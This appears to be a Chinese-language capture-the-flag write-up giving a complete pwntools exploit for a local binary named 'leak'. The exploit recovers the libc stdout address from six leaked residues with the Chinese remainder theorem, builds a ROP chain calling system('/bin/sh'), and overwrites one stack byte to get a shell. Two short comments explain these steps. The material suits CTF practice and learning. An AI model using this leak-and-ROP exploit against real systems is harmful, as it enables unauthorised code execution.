查看保护
查看ida
先放exp
完整exp:
from pwn import*
from sympy.ntheory.modular import crt
context(log_level='debug',arch='amd64')
while True:
p=process('./leak')
ps=[101,103,107,109,113,127]
p.sendafter(b'secret\n',bytes(ps))
cs=[0]*6
for i in range(6):
cs[i]=u32(p.recv(1).ljust(4,b'\x00'))
print(hex(cs[i]))
onestack=u32(p.recv(1).ljust(4,b'\x00'))
if onestack+0x58>0xff:
p.close()
continue
print("onestack"+hex(onestack))
res=crt(ps,cs)[0]
n=1
for i in range(0,6):
n*=ps[i]
c=0
stdout=0
while True:
stdout=res+c*n
if (stdout>>44)==0x07:
if (stdout&0xfff)==0x780:
break
c+=1
assert c<100
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=stdout-libc.sym['_IO_2_1_stdout_']
ret=libcbase+0x29139
pop_rdi=libcbase+0x2a3e5
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
payload=p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p8((onestack+0x58)&0xff)
p.send(payload)
#p.send(b'aa')
p.interactive()
break
#解释点1:这里是接收程序输出的六次结果来解中国剩余定理来算出stdout的地址,算出libc基地址。
#解释点2:这里最后覆盖一个字节的栈地址是为了把payload全覆盖到返回地址上去。这个是从汇编指令上看的
这里把地址移动到rcx之后就以rcx内的值来确定移动位置,因为rbp+buf的位置存的是栈上地址,如果我们把最后一个字节覆盖掉就可以控制rcx的值,从而控制payload移动的位置,执行getshell。